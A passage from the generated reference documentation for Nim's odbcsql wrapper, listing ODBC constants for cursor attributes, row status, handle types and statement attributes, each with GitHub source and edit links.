[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L256) ``` SQL_SO_DYNAMIC = 0x00000004 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L257) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L257) ``` SQL_SO_MIXED = 0x00000008 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L258) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L258) ``` SQL_SO_STATIC = 0x00000010 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L259) ``` SQL_BOOKMARK_PERSISTENCE = 82 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L260) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L260) ``` SQL_STATIC_SENSITIVITY = 83 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L261) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L261) ``` SQL_BP_CLOSE = 0x00000001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L262) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L262) ``` SQL_BP_DELETE = 0x00000002 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L263) ``` SQL_BP_DROP = 0x00000004 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L264) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L264) ``` SQL_BP_TRANSACTION = 0x00000008 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L265) ``` SQL_BP_UPDATE = 0x00000010 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L266) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L266) ``` SQL_BP_OTHER_HSTMT = 0x00000020 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L267) ``` SQL_BP_SCROLL = 0x00000040 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L268) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L268) ``` SQL_DYNAMIC_CURSOR_ATTRIBUTES1 = 144 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L269) ``` SQL_DYNAMIC_CURSOR_ATTRIBUTES2 = 145 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L270) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L270) ``` SQL_FORWARD_ONLY_CURSOR_ATTRIBUTES1 = 146 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L271) ``` SQL_FORWARD_ONLY_CURSOR_ATTRIBUTES2 = 147 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L272) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L272) ``` SQL_INDEX_KEYWORDS = 148 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L273) ``` SQL_INFO_SCHEMA_VIEWS = 149 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L274) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L274) ``` SQL_KEYSET_CURSOR_ATTRIBUTES1 = 150 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L275) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L275) ``` SQL_KEYSET_CURSOR_ATTRIBUTES2 = 151 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L276) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L276) ``` SQL_STATIC_CURSOR_ATTRIBUTES1 = 167 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L277) ``` SQL_STATIC_CURSOR_ATTRIBUTES2 = 168 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L278) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L278) ``` SQL_CA1_NEXT = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L279) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L279) ``` SQL_CA1_ABSOLUTE = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L280) ``` SQL_CA1_RELATIVE = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L281) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L281) ``` SQL_CA1_BOOKMARK = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L282) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L282) ``` SQL_CA1_LOCK_NO_CHANGE = 0x00000040 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L283) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L283) ``` SQL_CA1_LOCK_EXCLUSIVE = 0x00000080 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L284) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L284) ``` SQL_CA1_LOCK_UNLOCK = 0x00000100 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L285) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L285) ``` SQL_CA1_POS_POSITION = 0x00000200 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L286) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L286) ``` SQL_CA1_POS_UPDATE = 0x00000400 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L287) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L287) ``` SQL_CA1_POS_DELETE = 0x00000800 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L288) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L288) ``` SQL_CA1_POS_REFRESH = 0x00001000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L289) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L289) ``` SQL_CA1_POSITIONED_UPDATE = 0x00002000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L290) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L290) ``` SQL_CA1_POSITIONED_DELETE = 0x00004000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L291) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L291) ``` SQL_CA1_SELECT_FOR_UPDATE = 0x00008000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L292) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L292) ``` SQL_CA1_BULK_ADD = 0x00010000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L293) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L293) ``` SQL_CA1_BULK_UPDATE_BY_BOOKMARK = 0x00020000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L294) ``` SQL_CA1_BULK_DELETE_BY_BOOKMARK = 0x00040000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L295) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L295) ``` SQL_CA1_BULK_FETCH_BY_BOOKMARK = 0x00080000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L296) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L296) ``` SQL_CA2_READ_ONLY_CONCURRENCY = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L297) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L297) ``` SQL_CA2_LOCK_CONCURRENCY = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L298) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L298) ``` SQL_CA2_OPT_ROWVER_CONCURRENCY = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L299) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L299) ``` SQL_CA2_OPT_VALUES_CONCURRENCY = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L300) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L300) ``` SQL_CA2_SENSITIVITY_ADDITIONS = 0x00000010 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L301) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L301) ``` SQL_CA2_SENSITIVITY_DELETIONS = 0x00000020 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L302) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L302) ``` SQL_CA2_SENSITIVITY_UPDATES = 0x00000040 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L303) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L303) ``` SQL_CA2_MAX_ROWS_SELECT = 0x00000080 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L304) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L304) ``` SQL_CA2_MAX_ROWS_INSERT = 0x00000100 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L305) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L305) ``` SQL_CA2_MAX_ROWS_DELETE = 0x00000200 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L306) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L306) ``` SQL_CA2_MAX_ROWS_UPDATE = 0x00000400 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L307) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L307) ``` SQL_CA2_MAX_ROWS_CATALOG = 0x00000800 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L308) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L308) ``` SQL_CA2_MAX_ROWS_AFFECTS_ALL = 3968 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L309) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L309) ``` SQL_CA2_CRC_EXACT = 0x00001000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L313) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L313) ``` SQL_CA2_CRC_APPROXIMATE = 0x00002000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L314) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L314) ``` SQL_CA2_SIMULATE_NON_UNIQUE = 0x00004000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L315) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L315) ``` SQL_CA2_SIMULATE_TRY_UNIQUE = 0x00008000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L316) ``` SQL_CA2_SIMULATE_UNIQUE = 0x00010000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L317) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L317) ``` SQL_ADD = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L318) ``` SQL_SETPOS_MAX_OPTION_VALUE = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L319) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L319) ``` SQL_UPDATE_BY_BOOKMARK = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L320) ``` SQL_DELETE_BY_BOOKMARK = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L321) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L321) ``` SQL_FETCH_BY_BOOKMARK = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L322) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L322) ``` SQL_POSITION = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L323) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L323) ``` SQL_REFRESH = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L324) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L324) ``` SQL_UPDATE = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L325) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L325) ``` SQL_DELETE = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L326) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L326) ``` SQL_LOCK_NO_CHANGE = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L327) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L327) ``` SQL_LOCK_EXCLUSIVE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L328) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L328) ``` SQL_LOCK_UNLOCK = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L329) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L329) ``` SQL_ROW_SUCCESS = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L330) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L330) ``` SQL_ROW_DELETED = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L331) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L331) ``` SQL_ROW_UPDATED = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L332) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L332) ``` SQL_ROW_NOROW = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L333) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L333) ``` SQL_ROW_ADDED = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L334) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L334) ``` SQL_ROW_ERROR = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L335) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L335) ``` SQL_ROW_SUCCESS_WITH_INFO = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L336) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L336) ``` SQL_ROW_PROCEED = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L337) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L337) ``` SQL_ROW_IGNORE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L338) ``` SQL_MAX_DSN_LENGTH = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L339) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L339) ``` SQL_MAX_OPTION_STRING_LENGTH = 256 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L340) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L340) ``` SQL_ODBC_CURSORS = 110 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L341) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L341) ``` SQL_ATTR_ODBC_CURSORS = 110 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L342) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L342) ``` SQL_CUR_USE_IF_NEEDED = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L343) ``` SQL_CUR_USE_ODBC = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L344) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L344) ``` SQL_CUR_USE_DRIVER = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L345) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L345) ``` SQL_CUR_DEFAULT = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L346) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L346) ``` SQL_PARAM_TYPE_UNKNOWN = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L347) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L347) ``` SQL_PARAM_INPUT = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L348) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L348) ``` SQL_PARAM_INPUT_OUTPUT = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L349) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L349) ``` SQL_RESULT_COL = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L350) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L350) ``` SQL_PARAM_OUTPUT = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L351) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L351) ``` SQL_RETURN_VALUE = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L352) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L352) ``` SQL_NULL_DATA = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L353) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L353) ``` SQL_DATA_AT_EXEC = -2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L354) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L354) ``` SQL_SUCCESS = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L355) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L355) ``` SQL_SUCCESS_WITH_INFO = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L356) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L356) ``` SQL_NO_DATA = 100 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L357) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L357) ``` SQL_ERROR = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L358) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L358) ``` SQL_INVALID_HANDLE = -2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L359) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L359) ``` SQL_STILL_EXECUTING = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L360) ``` SQL_NEED_DATA = 99 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L361) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L361) ``` SQL_NTS = -3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L362) ``` SQL_MAX_MESSAGE_LENGTH = 512 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L363) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L363) ``` SQL_DATE_LEN = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L364) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L364) ``` SQL_TIME_LEN = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L365) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L365) ``` SQL_TIMESTAMP_LEN = 19 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L366) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L366) ``` SQL_HANDLE_ENV = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L368) ``` SQL_HANDLE_DBC = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L369) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L369) ``` SQL_HANDLE_STMT = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L370) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L370) ``` SQL_HANDLE_DESC = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L371) ``` SQL_ATTR_OUTPUT_NTS = 10001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L372) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L372) ``` SQL_ATTR_AUTO_IPD = 10001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L373) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L373) ``` SQL_ATTR_METADATA_ID = 10014 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L374) ``` SQL_ATTR_APP_ROW_DESC = 10010 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L375) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L375) ``` SQL_ATTR_APP_PARAM_DESC = 10011 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L376) ``` SQL_ATTR_IMP_ROW_DESC = 10012 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L377) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L377) ``` SQL_ATTR_IMP_PARAM_DESC = 10013 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L378) ``` SQL_ATTR_CURSOR_SCROLLABLE = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L379) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/odbcsql.nim#L379) ``` SQL_ATTR_CURSOR_SENSITIVITY = -2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/odbcsql.nim#L380) 